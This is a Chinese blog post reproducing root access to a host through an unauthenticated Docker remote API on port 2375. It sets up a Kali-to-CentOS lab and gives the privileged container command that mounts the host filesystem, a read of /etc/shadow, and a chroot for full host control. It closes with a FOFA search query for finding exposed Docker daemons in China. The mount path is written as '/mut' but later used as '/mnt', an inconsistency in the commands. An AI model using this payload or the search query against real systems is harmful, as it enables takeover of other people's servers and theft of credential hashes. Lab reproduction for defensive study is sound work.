最新Easy RCE using Docker API 复现

漏洞来源:

https://twitter.com/ptswarm/status/1338477426276511749/photo/1

Payload:

docker -H x.x.x.x:2375 run --rm -it --privileged --net=host -v /:/mut alpine
File Access: cat /mnt/etc/shadow 
RCE: chroot /mnt

原理:

Docker提供了远程管理接口。
Docker Daemon作为守护进程,运行在后台,可以执行发送到管理接口上的Docker命令
端口2375:未加密的docker socket,远程root无密码访问主机

复现环境:

  • kali
  • centos
  • 安装docker

安装centos因为现装的,啥环境都没

docker安装

sudo apt -y install curl gnupg2 apt-transport-https software-properties-common ca-certificates
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
echo "deb [arch=amd64] https://download.docker.com/linux/debian buster stable" | sudo tee  /etc/apt/sources.list.d/docker.list
apt update
apt install docker-ce docker-ce-cli containerd.io
docker version

docker配置文件

/usr/lib/systemd/system/docker.service

开启远程访问连接的API:

640.jpg

systemctl daemon-reload
systemctl restart docker

验证端口是否开启

netstat -anlp|grep 2375

6401.jpg
640-1.jpg

kali执行

docker -H 192.168.5.135:2375 run --rm -it --privileged --net=host -v /:/mut alpine

run =运行
--rm =用于foreground模式的容器
-it =指示Docker分配一个与容器的stdin连接的伪TTY;在容器中创建一个交互式bash shell
--privileged =在启动的容器,可以看到很多host上的设备,并且可以执行mount
--net=host =加了net=host后会使得创建的容器进入命令行好名称显示为主机的名称而不是一串id
-v =把宿主机的目录挂载到容器中
alpine =镜像

复现效果

6402.jpg

实战foa语句构造

port="2375" && protocol == docker && country="CN"

本文经授权后发布,本文观点不代表立场,文章出自:https://mp.weixin.qq.com/s/xWZqhma2CRG-uSR_CD47Xw
-- 展开阅读全文 --
wordpress主题制作当前文章阅读次数(纯代码实现无需插件)
« 上一篇 12-13
wordpress制作分类目录(页面)分页失效解决办法
下一篇 » 01-08

发表评论